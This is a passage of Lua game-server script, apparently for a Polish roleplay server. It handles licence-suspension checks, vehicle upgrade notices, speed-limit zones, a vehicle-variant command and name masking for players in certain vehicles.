if ( resultA and #resultA > 0) then
if pozwolone [ getElementModel ( source )] then
outputChatBox ( "* Posiadasz zawieszone prawo jazdy do " .. resultA [ "time" ].. ", za: " .. resultA [ "reason" ], plr , 255 , 0 , 0 )
outputChatBox ( "* Wsiadles do pojazdu nie potrzebujacego licencji!" , plr , 255 , 0 , 0 )
return end
setControlState ( plr , "enter_exit" , true )
setTimer ( toggleControl , 3000 , 1 , plr , "enter_exit" , true )
outputChatBox ( "* Posiadasz zawieszone prawo jazdy do " .. resultA [ "time" ].. ", za: " .. resultA [ "reason" ], plr , 255 , 0 , 0 )
else
exports [ "ogrpg-db" ]: dbSet ( "DELETE FROM ogrpg_punish WHERE type=? AND active=1 AND serial=?" , "A" , getPlayerSerial ( plr ))
end
end )
]]
addEventHandler ( "onVehicleEnter" , getRootElement (), function( plr , seat , jacked )
if seat ~= 0 then return end
if getElementData ( source , "vehicle:id" ) and getElementData ( source , "vehicle:spawn" ) then
local mk2 = exports [ 'ogrpg-db' ]: dbGet ( "SELECT * FROM ogrpg_vehicles WHERE id=? AND mk2=?" , getElementData ( source , "vehicle:id" ), "1" )
local mk1 = exports [ 'ogrpg-db' ]: dbGet ( "SELECT * FROM ogrpg_vehicles WHERE id=? AND mk1=?" , getElementData ( source , "vehicle:id" ), "1" )
local rh = exports [ 'ogrpg-db' ]: dbGet ( "SELECT * FROM ogrpg_vehicles WHERE id=? AND rh=?" , getElementData ( source , "vehicle:id" ), "1" )
local np = exports [ 'ogrpg-db' ]: dbGet ( "SELECT * FROM ogrpg_vehicles WHERE id=? AND naped=?" , getElementData ( source , "vehicle:id" ), "1" )
if #mk1 > 0 then outputChatBox("*Pojazd posiada pakiet US1",plr,255,255,255) end
if #mk2 > 0 then outputChatBox("*Pojazd posiada pakiet US2",plr,255,255,255) end
if #rh > 0 then outputChatBox("*Pojazd posiada pakiet GZ",plr,255,255,255) end
if #np > 0 then outputChatBox("*Pojazd posiada Nap?d 4x4",plr,255,255,255) end
end
end )
local strefa = { }
local strefy = {
{ 1336.23840 , 656.78876 , 9.85624 , 60.50634765625 , 146.80010986328 , 16.164074325562 },
{ 924.07690 , 1661.90576 , 9.25354 , 194.91711425781 , 138.31750488281 , 23.899999046326 },
{ 2197.99780 , 2405.43872 , - 31.81085 , 178.1982421875 , 112.3896484375 , 57.499998474121 },
}
local ogranicznik = createElement ( "ogranicznik" );
for i , v in ipairs ( strefy ) do
strefa [ i ] = createColCuboid ( v [ 1 ], v [ 2 ], v [ 3 ], v [ 4 ], v [ 5 ], v [ 6 ], v [ 7 ] )
setElementParent ( strefa [ i ], ogranicznik );
end
addEventHandler ( "onColShapeHit" , ogranicznik , function( el , md )
if getElementType ( el )== "vehicle" then
setElementData ( el , "vehicle:tempspeed" , 50 )
end
end )
addEventHandler ( "onColShapeLeave" , ogranicznik , function( el , md )
if getElementType ( el )== "vehicle" then
removeElementData ( el , "vehicle:tempspeed" )
end
end )
function wariant ( plr , cmd , var1 , var2 )
local veh = getPedOccupiedVehicle ( plr )
if not veh then return end
local var1 , var2 = getVehicleVariant ( veh )
if ( veh and getVehicleController ( veh ) ~= plr ) then return end
local speedx , speedy , speedz = getElementVelocity ( veh )
if not speedx then speedx = 0 end
if not speedy then speedy = 0 end
if not speedz then speedz = 0 end
speedx = tonumber ( speedx ); speedy = tonumber ( speedy ); speedz = tonumber ( speedz )
local speed = ( speedx ^ 2 + speedy ^ 2 + speedz ^ 2 )^( 0.5 ) * 180
if speed > 2 then outputChatBox ( "St?j w miejscu!" , plr , 255 , 255 , 255 ) return end
if getElementData ( plr , "wariant:blokada" , true ) then outputChatBox ( "Tej komendy mo?esz u?ywa? co 30 sekund!" , plr , 255 , 0 , 0 ) return end
setElementData ( plr , "wariant:blokada" , true )
setTimer ( setElementData , 30000 , 1 , plr , "wariant:blokada" , false )
local panel = {}
for i = 0 , 6 do
panel [ i ] = getVehiclePanelState ( veh , i )
end
setVehicleVariant ( veh , tonumber ( not var1 ), tonumber ( not var1 ))
for i = 0 , 6 do
setVehiclePanelState ( veh , i , panel [ i ])
end
end
addCommandHandler ( "wariant" , wariant )
addEventHandler ( "onVehicleEnter" , root , function( plr , seat , jacked )
if source then
if source and getElementData ( source , "vehicle:masked" ) then
setElementData ( plr , "player:old:nick" , getPlayerName ( plr ))
local x = string . format ( "#040707%s" , getPlayerName ( plr ): gsub ( "#%x%x%x%x%x%x" , "" ))
setPlayerName ( plr , x )
end
end
end )
addEventHandler ( "onVehicleExit" , root , function( plr , seat , jacked )
if source then
if source and getElementData ( source , "vehicle:masked" ) then
local name = getElementData ( plr , "player:old:nick" )
setPlayerName ( plr , name )
end
end
end )
addEventHandler ( "onElementDestroy" , root , function()
if getElementType ( source ) ~= "vehicle" then return end
if getElementData ( source , "vehicle:masked" ) then
for i , p in pairs ( getVehicleOccupants ( source )) do
local name = getElementData ( p , "player:old:nick" )
setPlayerName ( p , name )
end
end
end )